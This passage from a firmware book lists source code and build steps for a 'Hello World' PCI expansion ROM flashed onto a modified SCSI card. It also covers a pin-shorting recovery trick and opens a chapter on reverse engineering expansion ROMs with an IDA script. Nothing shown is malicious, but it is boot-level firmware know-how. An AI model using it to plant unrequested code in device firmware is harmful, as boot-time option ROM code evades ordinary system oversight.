OBJCOPY_FLAGS= -v -O binary 
 
OBJS:= crt0.o main.o ports.o video.o 
ROM_OBJ= rom.elf 
ROM_BIN= rom.bin 
ROM_SIZE= 65536 
 
all: $(OBJS) 
       $(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS) 
       $(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN) 
 
       build_rom $(ROM_BIN) $(ROM_SIZE) 
 
crt0.o: crt0.S 
       $(ASM) -o $@  $< 
 
%.o: %.c 
       $(CC) -o $@  $(CFLAGS) $< 
 
clean: 
       rm -rf *~ *.o *.elf *.bin 

 

Listing 7.2 crt0.s 

# ----------------------------------------------------------------------- 
# Copyright (C)  Darmawan Mappatutu Salihun 
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# File name : crt0.S 
# This file is released to the public for noncommercial use only 
# ----------------------------------------------------------------------- 
 
.text 
.code16 # Real mode by default (prefix 66 or 67 to 32-bit instructions) 
 
# ------------------------- WARNING!!! ---------------------------------- 
# Be sure to synchronize the absolute address used to load the OS code 
# here and in the address defined in the linker script (script.lnk) for 
# the .init section (i.e., section contained in crt0.S) 
# 
 
rom_size       = 0x04   # ROM size in multiple of 512 bytes 
os_load_seg    = 0x0000 # This is working if lgdt is passed with an 
                        # absolute address 
os_code_size   = ((rom_size - 1)*512) 
os_code_size16 = ( os_code_size / 2 ) 
 
# ------------------------------------------- 
#      Option rom header 
# 
       .word  0xAA55         # ROM signature byte 1 and 2 
       .byte  rom_size       # Size of this ROM, see earlier definition 
       jmp    _init          # Jump to initialization 
 
       .org 0x18 
       .word  _pci_data_struct # Pointer to PCI HDR structure at 18h 
       .word  _pnp_header      # PnP expansion header pointer at 1Ah 
 
#---------------------------- 
# PCI data structure 
#---------------------------- 
_pci_data_struct: 
       .ascii "PCIR"         # PCI header sign 
       .word  0x9004         # Vendor ID 
       .word  0x8178         # Device ID 
       .word  0x00           # VPD 
       .word  0x18           # PCI data struc length (byte) 
       .byte  0x00           # PCI data struct rev 
       .byte  0x02           # Base class code, 02h == network controller 
       .byte  0x00           # Subclass code = 00h and interface = 00h 
                             # -->Ethernet controller 
       .byte  0x00           # Interface code, see PCI Rev2.2 Spec, 
                             # Appendix D 
       .word  rom_size       # Image length in mul of 512 bytes, little 
                             # endian format 
       .word  0x00           # Rev level 
       .byte  0x00           # Code type = x86 
       .byte  0x80           # Last image indicator 
       .word  0x00           # Reserved 
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#----------------------------- 
# PnP ROM Bios Header 
#----------------------------- 
_pnp_header: 
       .ascii "$PnP"         # PnP Rom header sign 
       .byte  0x01           # Structure revision 
       .byte  0x02           # Header structure length in mul of 16 bytes 
       .word  0x00           # Offset to next header (00 if none) 
       .byte  0x00           # Reserved 
       .byte  0x00           # 8-bit checksum for this header, 
                             # calculated and patched by patch2pnprom 
       .long  0x00           # PnP device ID --> 0h in Realtek RPL ROM 
       .word  0x00           # Pointer to manufacturer string; use 
                             # empty string 
        word  0x00           # Pointer to product string; 
                             # use empty string 
       .byte  0x02,0x00,0x00 # Device type code 3 byte 
       .byte  0x14           # Device indicator, 14h from RPL ROM --> see 
                             # p. 18 of PnP BIOS spec., Lo nibble (4) 
                             # means IPL device 
 
       .word  0x00           # Boot connection vector, 00h = disabled 
       .word  0x00           # Disconnect vector, 00h = disabled 
       .word  _start         # BEV 
       .word  0x00           # Reserved 
       .word  0x00           # Static resource information vector (0000h 
                             # if unused) 
 
#-------------------------------------------------------------------- 
# PCI Option ROM initialization Code (init function) 
# 
_init: 
 
       andw $0xCF, %ax # Inform system BIOS that an IPL device attached 
       orw  $0x20, %ax # See PnP spec 1.0A p. 21 for info 
 
       lret            # Return far to system BIOS 
 
#-------------------------------------------------------------------- 
# Operating system entry point/BEV implementation (bootstrap) 
# 
       .global _start  # Entry point 
 
_start: 
 
       movw $0x9000, %ax            # Setup temporary stack 
       movw %ax, %ss                # ss = 0x9000 
 
# move ourself from "ROM" ->RAM 0x0000 
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       movw %cs, %ax                # Initialize source address 
       movw %ax, %ds 
       movw $os_load_seg, %ax       # Point to OS segment 
       movw %ax, %es 
       movl $os_code_size16, %ecx 
       subw %di, %di 
       subw %si, %si 
       cld 
       rep 
       movsw 
 
       ljmp $os_load_seg, $_setup 
 
_setup: 
       movw %cs, %ax                # Initialize segment registers 
       movw %ax, %ds 
 
enable_a20: 
        cli 
 
        call    a20wait 
        movb    $0xAD, %al 
        outb    %al, $0x64 
 
        call    a20wait 
        movb    $0xD0, %al 
        outb    %al, $0x64 
 
        call    a20wait2 
        inb     $0x60, %al 
        pushl   %eax 
 
        call    a20wait 
        movb    $0xD1, %al 
        outb    %al, $0x64 
 
        call    a20wait 
        popl    %eax 
        or      $2, %al 
        outb    %al, $0x60 
 
        call    a20wait 
        movb    $0xAE, %al 
        outb    %al, $0x64 
 
        call    a20wait 
        jmp    continue 
 
a20wait: 
1:    movl    $65536, %ecx 
2:    inb     $0x64, %al 
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      test    $2, %al 
      jz      3f 
      loop    2b 
      jmp     1b 
3:    ret 
 
a20wait2: 
1:    movl    $65536, %ecx 
2:    inb     $0x64, %al 
      test    $1, %al 
      jnz     3f 
      loop    2b 
      jmp     1b 
3:    ret 
 
continue: 
    sti                             # Enable interrupt 
 
# --------------------------------------------------------------------- 
# Switch to P-Mode and jump to kernel, we need BITS 32 here since the 
# code will be executed in 32 bit P-Mode. 
# 
       cli                   # Disable interrupt 
 
       lgdt gdt_desc         # Load GDT to GDTR (we load both limit 
                             # and base address) 
 
       movl %cr0, %eax       # Switch to P-mode 
       or   $1, %eax 
       movl %eax, %cr0       # Not yet in P-mode; need a FAR jump 
 
       .byte 0x66, 0xea      # Prefix + jmpi-opcode (this forces P-mode 
                             # to be reached, i.e., CS to be updated) 
       .long do_pm           # 32-bit linear address (jump target) 
       .word SEG_CODE_SEL    # Code segment selector 
 
.code32 
do_pm: 
       xorl %esi, %esi 
       xorl %edi, %edi 
       movw $0x10, %ax       # Save data segment identifier (see GDT) 
       movw %ax, %ds 
       movw $0x18, %ax       # Save stack segment identifier 
       movw %ax, %ss 
       movl $0x90000, %esp 
 
       jmp  main             # Jump to main function 
 
       .align 8, 0           # Align GDT in 8-byte boundary 
 
# ----------------------------------------------------- 
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#                     GDT definition 
# 
gdt_marker:          # Dummy segment descriptor (GDT) 
       .long  0 
       .long  0 
 
SEG_CODE_SEL = ( . - gdt_marker) 
SegDesc1:            # Kernel CS (08h) PL0, 08h is an identifier 
       .word  0xffff # seg_length0_15 
       .word  0      # base_addr0_15 
       .byte  0      # base_addr16_23 
       .byte  0x9A   # Flags 
       .byte  0xcf   # Access 
       .byte  0      # base_addr24_31 
 
SEG_DATA_SEL = ( . - gdt_marker) 
SegDesc2:            # Kernel DS (10h) PL0 
       .word  0xffff # seg_length0_15 
       .word  0      # base_addr0_15 
       .byte  0      # base_addr16_23 
       .byte  0x92   # Flags 
       .byte  0xcf   # Access 
       .byte  0      # base_addr24_31 
 
SEG_STACK_SEL = ( . - gdt_marker) 
SegDesc3:            # Kernel SS (18h) PL0 
       .word  0xffff # seg_length0_15 
       .word  0      # base_addr0_15 
       .byte  0      # base_addr16_23 
       .byte  0x92   # Flags 
       .byte  0xcf   # Access 
       .byte  0      # base_addr24_31 
gdt_end: 
 
gdt_desc:     .word  (gdt_end - gdt_marker - 1) # GDT limit 
              .long  gdt_marker                 # Physical addr of GDT 
 
Listing 7.3 main.c 
/* ---------------------------------------------------------------------- 
  Copyright (C)  Darmawan Mappatutu Salihun 
  File name : main.c 
  This file is released to the public for noncommercial use only 
 --------------------------------------------------------------------- */ 
 
int main() 
{ 
  const char *hello = "Hello World!"; 
  clrscr(); 
  print(hello); 
 
  for(;;); 
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  return 0; 
} 

 

Listing 7.4 ports.c 

/* ---------------------------------------------------------------------- 
  Copyright (C)  Darmawan Mappatutu Salihun 
  File name : ports.c 
  This file is released to the public for noncommercial use only 
 --------------------------------------------------------------------- */ 
 
unsigned char in(unsigned short _port) 
{ 
  // "=a" (result) means: put AL register in variable result when 
  // finished 
  // "d" (_port) means: load EDX with _port 
  unsigned char result; 
  __asm__  ("in %%dx, %%al" : "=a" (result) : "d" (_port)); 
  return result; 
} 
 
void out(unsigned short _port, unsigned char _data) 
{ 
  // "a" (_data) means: load EAX with _data 
  // "d" (_port) means: load EDX with _port 
  __asm__ ("out %%al, %%dx" : :"a" (_data), "d" (_port)); 
} 

 

Listing 7.5 video.c 

/* ---------------------------------------------------------------------- 
  Copyright (C)  Darmawan Mappatutu Salihun 
  File name : video.c 
  This file is released to the public for noncommercial use only 
 --------------------------------------------------------------------- */ 
 
void clrscr() 
{ 
  unsigned char *vidmem = (unsigned char *)0xB8000; 
  const long size = 80*25; 
  long loop; 
 
  // Clear visible video memory 
  for (loop=0; loop<size; loop++) { 
    *vidmem++ = 0; 
    *vidmem++ = 0xF; 
  } 
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  // Set cursor position to 0,0 
  out(0x3D4, 14); 
  out(0x3D5, 0); 
  out(0x3D4, 15); 
  out(0x3D5, 0); 
} 
 
void print(const char *_message) 
{ 
  unsigned short offset; 
  unsigned long i; 
  unsigned char *vidmem = (unsigned char *)0xB8000; 
 
  // Read cursor position 
  out(0x3D4, 14); 
  offset = in(0x3D5) << 8; 
  out(0x3D4, 15); 
  offset |= in(0x3D5); 
 
  // Start at writing at cursor position 
  vidmem += offset*2; 
 
  // Continue until null character 
  i = 0; 
  while (_message[i] != 0) { 
    *vidmem = _message[i++]; 
       vidmem += 2; 
  } 
 
  // Set new cursor position 
  offset += i; 
  out(0x3D5, (unsigned char)(offset)); 
  out(0x3D4, 14); 
  out(0x3D5, (unsigned char)(offset >> 8)); 
} 

 

Listing 7.6 pci_rom.ld 

/* =================================================================== */ 
/* Copyright (C) Darmawan Mappatutu Salihun                            */ 
/* File name : pci_rom.ld                                              */ 
/* This file is released to the public for noncommercial use only      */ 
/* =================================================================== */ 
 
OUTPUT_FORMAT("elf32-i386") 
OUTPUT_ARCH(i386) 
ENTRY(_start) 
 
__boot_vect = 0x0000; 
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SECTIONS 
{ 
 
       .text __boot_vect : 
    { 
       *( .text) 
       } = 0x00 
 
       .rodata ALIGN(4) : 
       { 
              *( .rodata) 
       } = 0x00 
 
       .data ALIGN(4) : 
    { 
              *( .data) 
    } = 0x00 
 
       .bss ALIGN(4) : 
    { 
              *( .bss) 
       } = 0x00 
 
} 
 
 
7.3.3.2. PCI PnP Expansion ROM Checksum Utility Source Code 
 
 The source code provided in this section is used to build the build_rom utility, 
which is used to patch the checksums of the PCI PnP expansion ROM binary produced by 
section 7.3.3.1. The role of each file as follows: 
 

• makefile: Makefile used to build the utility 
• build_rom.c: C language source code for the build_rom utility 

 

Listing 7.7 PCI Expansion ROM Checksum Utility Makefile 

# ----------------------------------------------------------------------- 
# Copyright (C) Darmawan Mappatutu Salihun 
# File name : Makefile 
# This file is released to the public for noncommercial use only 
# ----------------------------------------------------------------------- 
 
CC= gcc 
CFLAGS= -Wall -O2 -march=i686 -mcpu=i686 -c 
LD= gcc 
LDFLAGS= 
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all: build_rom.o 
       $(LD) $(LDFLAGS) -o build_rom build_rom.o 
 
       cp build_rom ../ 
 
%.o: %.c 
       $(CC) $(CFLAGS) -o $@ $< 
 
clean: 
       rm -rf *~ build_rom *.o 

 

Listing 7.8 build_rom.c 

/* ---------------------------------------------------------------------- 
 Copyright (c) Darmawan Mappatutu Salihun 
 File name : build_rom.c 
 This file is released to the public for noncommercial use only 
 
 Description : 
 
 This program zero-extends its input binary file and then patches it 
 into a valid PCI PnP ROM binary. 
 --------------------------------------------------------------------- */ 
 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
 
typedef unsigned char       u8; 
typedef unsigned short      u16; 
typedef unsigned int        u32; 
 
enum { 
MAX_FILE_NAME        = 100, 
 
ITEM_COUNT           = 1, 
ROM_SIZE_INDEX       = 0x2, 
PnP_HDR_PTR          = 0x1A, 
PnP_CHKSUM_INDEX     = 0x9, 
PnP_HDR_SIZE_INDEX   = 0x5, 
ROM_CHKSUM           = 0x10, /* Reserved position in PCI PnP ROM, that 
                                can be used */ 
}; 
 
static int 
ZeroExtend(char * f_name, u32 target_size) 
{ 
  FILE* f_in; 
  long file_size, target_file_size, padding_size; 
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  char* pch_buff; 
 
  target_file_size = target_size; // Cast ulong to long 
 
  if( (f_in = fopen(f_name, "ab")) == NULL) 
  { 
       printf("error opening file\n closing program...\n"); 
       return -1; 
  } 
 
  if(fseek(f_in, 0, SEEK_END) != 0) 
  { 
       printf("error seeking file\n closing program...\n"); 
       fclose(f_in); 
       return -1; 
  } 
 
  if( (file_size = ftell(f_in)) == -1) 
  { 
       printf("error counting file size\n closing program...\n"); 
       fclose(f_in); 
       return -1; 
  } 
 
  if( file_size >= target_file_size) 
  { 
       printf("Input error, Target file size is smaller than" 
              "the original file size\n"); 
       fclose(f_in); 
    return -1; 
  } 
 
  /* 
    Zero-extend the target file 
  */ 
  padding_size = target_file_size - file_size; 
 
  pch_buff = (char*) malloc(sizeof(char) * padding_size ); 
 
  if(NULL != pch_buff) { 
       memset(pch_buff, 0, sizeof(char) * padding_size ); 
       fseek(f_in, 0, SEEK_END); 
       fwrite( pch_buff, sizeof(char), padding_size, f_in); 
       fclose(f_in); 
       free(pch_buff); 
       return 0;// Success 
 
  } else { 
       fclose(f_in); 
       return -1; 
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  } 
 
} 
 
static u8 CalcChecksum(FILE* fp, u32 size) 
{ 
u32  position = 0x00;/* Position of file pointer */ 
u8 checksum = 0x00; 
 
       /* Set file pointer to the beginning of file */ 
       if(!fseek(fp,0,SEEK_SET)) 
       { 
              /* 
              Calculate 8-bit checksum 8 
              file size = size * 512 byte = size * 0x200 
              */ 
 
              for(; position < (size * 0x200) ; position++) 
              { 
                     checksum = ( (checksum + fgetc(fp)) % 0x100); 
              } 
 
              printf("calculated checksum = %#x \n",checksum); 
 
       } 
 
       else 
       { 
              printf("function CalcChecksum:Failed to seek through" 
                     "the beginning of file\n"); 
       } 
 
       return checksum; 
 
} 
 
static int 
Patch2PnpRom(char* f_name) 
{ 
       FILE*  fp; 
       u8     checksum_byte; 
       u32    rom_size; /* Size of ROM source code in multiple of 
                           512 bytes */ 
       u8     pnp_header_pos; 
       u8     pnp_checksum = 0x00; 
       u8     pnp_checksum_byte; 
       u8     pnp_hdr_counter = 0x00; 
       u8     pnp_hdr_size; 
 
       if( (fp = fopen( f_name , "rb+")) == NULL) 
       { 
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              printf("Error opening file\nclosing program..."); 
              return -1; 
       } 
 
       /* Save ROM source code file size, which is located 
          at index 0x2 from beginning of file (zero-based index) */ 
 
       fseek(fp, ROM_SIZE_INDEX, SEEK_SET); 
       rom_size = fgetc(fp); 
 
              /* Patch PnP header checksum */ 
              if(fseek(fp,PnP_HDR_PTR,SEEK_SET) != 0) 
              { 
                     printf("Error seeking PnP Header"); 
                     fclose(fp); 
                     return -1; 
              } 
 
              pnp_header_pos = fgetc(fp);/* Save PnP header offset */ 
 
              if(fseek(fp,(pnp_header_pos + PnP_HDR_SIZE_INDEX), 
                        SEEK_SET) != 0) 
              { 
                     printf("Error seeking PnP Header Checksum\n"); 
                     fclose(fp); 
                     return -1; 
              } 
 
              pnp_hdr_size = fgetc(fp);/* Save PnP header size*/ 
 
              /* Reset current checksum to 0x00 so that 
                 the checksum won't be wrong if calculated */ 
 
              if(fseek(fp,(pnp_header_pos + PnP_CHKSUM_INDEX),SEEK_SET) 
                  != 0) 
              { 
                     printf("Error seeking PnP Header Checksum\n"); 
                     fclose(fp); 
                     return -1; 
              } 
 
              if(fputc(0x00,fp) == EOF) 
              { 
                     printf( "Error resetting PnP Header checksum" 
                             " value\n"); 
                     fclose(fp); 
                     return -1; 
              } 
 
              /* Calculate PnP header checksum */ 
              if(fseek(fp,pnp_header_pos,SEEK_SET) != 0) 
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              { 
                     printf( "Error seeking to calculate PnP Header" 
                             " checksum"); 
                     fclose(fp); 
                     return -1; 
              } 
 
                     /* 
                       PnP BIOS header size is calculated in 
                       16-byte increments 
                     */ 
                     for(; pnp_hdr_counter < (pnp_hdr_size * 0x10) ; 
                           pnp_hdr_counter++) 
                     { 
                            pnp_checksum = ((pnp_checksum + fgetc(fp)) % 
                                            0x100); 
                     } 
 
                     if(pnp_checksum != 0 ) { 
                            pnp_checksum_byte = 0x100 - pnp_checksum; 
                     } else { 
                            pnp_checksum_byte = 0; 
                     } 
 
              /* Write PnP header checksum */ 
              fseek(fp,(pnp_header_pos + PnP_CHKSUM_INDEX), SEEK_SET); 
              fputc(pnp_checksum_byte ,fp); 
 
       /* Overall file checksum handled from here on */ 
 
       /* Reset current checksum on checksum byte */ 
       if(    fseek(fp, ROM_CHKSUM, SEEK_SET) != 0 ) { 
              fclose(fp); 
              return -1; 
       } else { 
              fputc(0x00,fp); 
       } 
 
       /* Calculate checksum byte */ 
       if(CalcChecksum(fp,rom_size) == 0x00) { 
              checksum_byte = 0x00; /* Checksum already OK */ 
 
       } else { 
              checksum_byte = 0x100 - CalcChecksum(fp,rom_size); 
       } 
 
       /* Write checksum byte */ 
 
              /* Put the file pointer at the checksum byte */ 
              if(fseek(fp, ROM_CHKSUM, SEEK_SET) != 0) 
              { 
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                     printf( "Failed to seek through the file\n" 
                             "closing program..."); 
                     fclose(fp); 
                     return -1; 
              } else { 
              /* Write the checksum to the checksum byte in the file */ 
                     fputc(checksum_byte, fp); 
              } 
 
       /* Write to disk */ 
       fclose(fp); 
 
       printf("PnP ROM successfully created\n"); 
 
       return 0; 
 
} 
 
int main(int argc, char* argv[]) 
{ 
       char out_f_name[MAX_FILE_NAME]; 
       u32  target_size; 
       char* pch_temp[15]; 
 
       if(argc != 3) /* Not enough parameter */ 
       { 
              printf( "Usage: %s  [input_filename]" 
                      " [target_binary_size]\n",argv[0]); 
              printf( "input_filename = binary file that need to be" 
                      " patched into PCI PnP ROM\n" 
                      "target_binary_size = the intended size of the" 
                       "PCI PnP ROM\n"); 
              return -1; 
       } 
 
       strncpy(out_f_name, argv[1], MAX_FILE_NAME - 1); 
 
       target_size = strtoul(argv[2], pch_temp, 10); 
       if( 0 != (target_size % 512) ) { 
              printf( "Error on input parameter." 
                      "Invalid target binary size!\n"); 
              return -1; 
       } 
 
       /* argv[1] is pointer to file name parameter from user */ 
       if(ZeroExtend(out_f_name, target_size) != 0) 
       { 
              printf("Error zero-extending output file! \n" 
                     "Closing program..."); 
              return -1; 
       } 
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       if(Patch2PnpRom(out_f_name) != 0) 
       { 
              printf("Error patching checksums! \nClosing program..."); 
              return -1; 
       } 
       return 0; 
} 
 
 
7.3.4. Building the Sample 
 
 The following steps are needed to build a valid PCI PnP expansion ROM from the 
code provided in the preceding sections. Assume that all commands mentioned here are 
typed in a bash within Linux. I used the Slackware 9.0 Linux distribution in my 
development testbed. 
 

1. Create a new directory for the core PCI expansion ROM source code. From now 
on, regard this directory as the root directory. 

2. Copy all core source-code files into the root directory. 
3. Create a new directory inside the root directory. From now on, regard this 

directory as the rom_tool directory. 
4. Copy all PCI PnP expansion ROM checksum utility source code files into the 

root directory. 
5. Invoke "make" from within the rom_tool directory. This will build the utility 

needed for a later step. The resulting build_rom utility will be copied 
automatically to the root directory, where it will be needed in a later build step. 

6. Invoke "make" from within root directory. This will build the valid PCI PnP 
expansion ROM that can be directly flashed to target PCI card, i.e., the "hacked" 
Adaptec AHA 2940 card. This expansion ROM binary will be named rom.bin. 

 
 When you invoke "make" from the root directory, you will see messages in the 
shell similar to the following message: 
 
as  -o crt0.o  crt0.S 
gcc -o main.o  -c main.c 
gcc -o ports.o  -c ports.c 
gcc -o video.o  -c video.c 
ld -T pci_rom.ld  -o rom.elf crt0.o main.o ports.o video.o 
objcopy -v -O binary rom.elf rom.bin 
copy from rom.elf(elf32-i386) to rom.bin(binary) 
build_rom rom.bin 65536 
calculated checksum = 0x41 
calculated checksum = 0x41 
PnP ROM successfully created 
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 The result of these build steps is shown in hex dump 7.1. I'm using a hex dump 
utility in my Slackware Linux to obtain the result by invoking "hexdump -f fmt 
rom.bin" in bash. 
 

Hex dump 7.1 rom.bin 

Address   Hex Values                            ASCII Values 
000000  55 AA 04 EB 4F 00 00 00 00 00 00 00  U . . . O . . . . . . . 
00000c  00 00 00 00 BF 00 00 00 00 00 00 00  . . . . . . . . . . . . 
000018  1C 00 34 00 50 43 49 52 04 90 78 81  . . 4 . P C I R . . x . 
000024  00 00 18 00 00 02 00 00 04 00 00 00  . . . . . . . . . . . . 
000030  00 80 00 00 24 50 6E 50 01 02 00 00  . . . . $ P n P . . . . 
00003c  00 5A 00 00 00 00 00 00 00 00 02 00  . Z . . . . . . . . . . 
000048  00 14 00 00 00 00 5B 00 00 00 00 00  . . . . . . [ . . . . . 
000054  25 CF 00 83 C8 20 CB B8 00 90 8E D0  % . . . .   . . . . . . 
...... 
000318  48 65 6C 6C 6F 20 57 6F 72 6C 64 21  H e l l o   W o r l d ! 
000324  00 00 00 00 00 00 00 00 00 00 00 00  . . . . . . . . . . . . 
* 
00fffc  00 00 00 00                          . . . . 
 
 The preceding hex dump is a condensed version of the real hex dump shown in the 
Linux console. I condensed it to show only the interesting parts. A hex dump utility is 
invoked using a custom hex dump formatting file named fmt to show the formatted hex 
values in hex dump 7.1. The listing for this formatting file is shown in listing 7.9. This file 
is just an ordinary ASCII text file. 
 

Listing 7.9 fmt 

"%06.6_ax  "  12/1 "%02X " 
"  " "%_p " 
"\n" 
 The first line in listing 7.9 is telling the hex dump to display the addresses of the 
bytes in 6-digit hexadecimal, then to display two spaces, and to display 12 bytes with each 
byte shown as 2-digit hexadecimal. The second line is telling the hex dump to display two 
spaces and then display the ASCII of the byte. If it is a nonprintable ASCII character, it 
should display a dot. The third line is telling the hex dump to move to n the ext line in the 
output device, which in this case is the Linux console. 
 
 
7.3.5. Testing the Sample 
 
 Testing the PCI expansion ROM binary is trivial. I used the aforementioned 
flash4.exe to flash the rom.bin file from real mode DOS by invoking the following 
command: 
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flash4.exe -w rom.bin 
 
 You can see the result by activating boot from LAN in the BIOS. You will see the 
"Hello World!" displayed on the screen. 
 
 
7.3.6. Potential Bug and Its Workaround 
 
 I have to emphasize that anyone building a PCI expansion ROM has to check the 
value of the vendor ID and device ID within the source code. It's possible that the 
expansion ROM code is not executed11 because there is a mismatched vendor ID or device 
ID between the expansion ROM and the value hardwired into the PCI chip. I haven't done 
further work on this issue, but I strongly suggest avoiding this mismatch. 
 There is a specific circumstance in which the PCI initialization routine that I made 
is screwed up during development using the Adaptec AHA-2940U SCSI controller card 
with soldered PLCC SST 29EE512 flash ROM. In this case, I was not able to complete the 
boot of the testbed PC, because the motherboard BIOS possibly will hang at POST. In my 
case, this was because of wrong placement of the entry point to the PCI initialization 
routine. This entry point is a jump instruction at offset 03h from the beginning of the ROM 
binary image file. It should've been placed there, but it was inadvertently placed at offset 
04h. Thus, the PC hangs during the execution of the PCI INIT function. The "brute force" 
workaround for this is as follows: 
 

1. Install the corresponding "screwed up" SCSI controller card into one of the PCI 
slots if you haven't done it yet—with the PC turned off and unplugged. 

2. Short-circuit the lowest address pins of the soldered flash ROM during boot until 
you can enter pure DOS mode. In my case, I use a metal wire. This wire is 
"installed" while the PC powered off and unplugged from its electrical source. I 
was short-circuiting address pin 0 (A0) and address pin 1 (A1). Short-circuiting 
A0 and A1 is enough, because you only need to generate a wrong PCI ROM 
header in the first 2 bytes. Find the datasheet of the flash ROM from its 
manufacturer's website to know which of the pin is the lowest address pin. This 
step is done on purpose to generate a checksum error in the PCI ROM header 
"magic number," i.e., AA55h. The reason for this step is if the PCI ROM header 
"magic number" is erratic, the motherboard BIOS will ignore this PCI expansion 
rom. Thus, you can proceed to boot to DOS and going through POST without 
hanging. 

3. When you enter pure DOS, release the wire or conductor used to short-circuit the 
address pins. You will be able to flash the correct ROM binary into the flash ROM 
chip of the SCSI controller flawlessly. This step is carried out with the PC 
powered on and running DOS. 

                                                 
 
11 The system BIOS executes or initializes expansion ROM by executing a far jam into its 
initialization vector (offset 03h from the beginning of the expansion ROM binary). 
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4. Flash the correct ROM binary file to the flash ROM chip. Then, reboot to make 
sure everything is OK. 

 
 If you are using a hacked SCSI controller card, the PCI INIT function has to be 
working flawlessly, because it's always executed by the motherboard BIOS on boot. This 
PCI card "resurrection" is a dangerous procedure. Hence, it must be carried out carefully. 
Nevertheless, my experience shows that it works in the testbed without causing any 
damage. 
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Chapter 8 PCI Expansion ROM Reverse 
Engineering 
 
 
PREVIEW 
 
 This chapter is devoted to explaining PCI expansion ROM reverse engineering. 
You learned the structure of the PCI expansion ROM in the previous chapter. Thus, it will 
be straightforward to do the reverse engineering. However, I note some differences among 
different PCI expansion ROMs. 
 
 
8.1. Binary Architecture 
 
 In the previous chapter, you learned about PCI expansion ROM structure. The 
structure of such a binary is summarized in figure 8.1. 
 

 
Figure 8.1 PCI expansion ROM binary layout 
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 Figure 8.1 represents the layout of a PCI expansion ROM binary for single-
machine architecture. I won't delve into more complex PCI expansion ROM binary layout, 
such as the PCI expansion ROM binary for multiple-machine architecture,1 because it will 
be straightforward to analyze once you understand its simpler counterpart. Figure 8.1 shows 
the lowest address range in the ROM binary that is occupied by "basic" ROM header. This 
"basic" ROM header contains the jump into the INIT function of the corresponding PCI 
expansion ROM. Review the structure of the basic ROM header for a PCI expansion ROM. 

 
Figure 8.2 PCI Expansion ROM basic header 

 
 Figure 8.2 shows the structure of the basic header in an expansion ROM. Within 
this header is the jump into the initialization function. Thus, the logical step to start 
expansion ROM reverse engineering is to follow this jump. Upon following this jump, you 
arrive in the initialization function and its associated "helper" functions. Note that an 
expansion ROM is called with a far call by the system BIOS to start its initialization. Thus, 
expect that a retf (return far) instruction will mark the end of an expansion ROM. Indeed, 
that's the case, as you will discover in the next section. 
 Furthermore, recall from section 7.1.5 that a PCI expansion ROM is not required 
to adhere to the PnP specification. Hence, stick to the PCI expansion ROM basic header to 
guide you to the "main code execution path," i.e., the initialization function for the PCI 
expansion ROM. 
 

                                                 
 
1 PCI expansion ROM binary layout for multiple-machine architecture (with multiple images) is 
shown in figure 7.2. 
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8.2. Disassembling the Main Code 
 
 In this section, you will learn how to disassemble PCI expansion ROMs. It is a 
straightforward process because you known the PCI expansion ROM structure. To do so, 
start the disassembling process in the expansion ROM header and proceed until you find 
the return into the system BIOS, i.e., the last retf instruction.2
 
 
8.2.1. Disassembling Realtek 8139 Expansion ROM 
 
 As the first example, disassemble the Realtek 8139A/B/C/D3 expansion ROM. 
From this point on, I refer to this chip family as Realtek 8139X. The expansion ROM for 
Realtek 8139X is named rpl.rom, possibly to refer to remote program load. As shown later, 
this particular PCI expansion ROM adheres to both the PCI expansion ROM specification 
and the PnP specification. You can download the ROM binary from Realtek's website 
(http://www.realtek.com.tw/). The ROM file that's dissected here is from 2001. That's the 
latest version I could find on Realtek's website. 
 Get down to the disassembling business. First, make a rudimentary IDA Pro script 
that will help you dissect the binary. The script is shown in listing 8.1. 
 

Listing 8.1 Rudimentary PCI Expansion ROM Parser 

#include <idc.idc> 
 
static main() 
{ 
auto ea, size; 
 
MakeWord(0); MakeName(0, "magic_number"); MakeComm(0, "magic number"); 
size = form("%d-bytes", Byte(2)*512); 
MakeByte(2); MakeName(2, "rom_size"); MakeComm(2,size); 
 
MakeCode(3); MakeName(3, "entry_point"); 
MakeComm(3, "jump to initialization function"); 
 
/* Parse PCI data structure */ 
if( (Word(0x18) != 0) && (Dword(Word(0x18)) == 'RICP')) 
{ 
  MakeWord(0x18); MakeName(0x18, "PCI_Struc_Ptr"); 

                                                 
 
2 It's possible that there are retf instructions in a PCI expansion ROM other than the retf instruction 
that takes the execution flow back into the system BIOS. Look for the latter. 
3 There are four varieties of Realtek 8139 fast Ethernet controller chip: Realtek 8139A, Realtek 
8139B, Realtek 8139C, and Realtek 8139D. Among these chip revisions, Realtek 8139D is the most 
recent. 
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  MakeComm(0x18, "PCI data structure pointer"); 
  OpOff(0x18, 0, 0); 
  ea = Word(0x18); 
 
  MakeDword(ea); MakeName(ea, "PCIR"); 
  MakeComm(ea, "PCI data structure signature"); /* PCIR marker */ 
 
  MakeWord(ea+4); MakeName(ea+4, "vendor_id"); 
  MakeComm(ea+4, "Vendor ID"); 
 
  MakeWord(ea+6); MakeName(ea+6, "device_id"); 
  MakeComm(ea+6, "Device ID"); 
 
  MakeWord(ea+8); MakeName(ea+8, "vpd_ptr"); 
  MakeComm(ea+8, "pointer to vital product data"); 
 
  MakeWord(ea+0xA); MakeName(ea+0xA, "pci_struc_len"); 
  MakeComm(ea+0xA, "PCI Data structure length"); 
 
  MakeByte(ea+0xC); MakeName(ea+0xC, "pci_struc_rev"); 
  MakeComm(ea+0xC, "PCI Data structure revision"); 
 
  MakeByte(ea+0xD); MakeName(ea+0xD, "class_code_1"); 
  MakeComm(ea+0xD, "Class Code (byte 1)"); 
 
  MakeByte(ea+0xE); MakeName(ea+0xE, "class_code_2"); 
  MakeComm(ea+0xE, "Class Code (byte 2)"); 
 
  MakeByte(ea+0xF); MakeName(ea+0xF, "class_code_3"); 
  MakeComm(ea+0xF, "Class Code (byte 3)"); 
 
  MakeWord(ea+0x10); MakeName(ea+0x10, "image_len"); 
  MakeComm(ea+0x10, "image length in multiple of 512 bytes"); 
 
  MakeWord(ea+0x12); MakeName(ea+0x12, "rev_level"); 
  MakeComm(ea+0x12, "revision level"); 
 
  MakeByte(ea+0x14); MakeName(ea+0x14, "code_type"); 
  MakeComm(ea+0x14, "code type"); 
 
  MakeByte(ea+0x15); MakeName(ea+0x15, "indicator"); 
  MakeComm(ea+0x15, "indicator"); 
 
  MakeByte(ea+0x16); MakeName(ea+0x16, "reserved"); 
  MakeComm(ea+0x16, "reserved"); 
} 
 
/* Parse PnP data structure */ 
if( (Word(0x1A) != 0) && (Dword(Word(0x1A)) == 'PnP$')) 
{ 
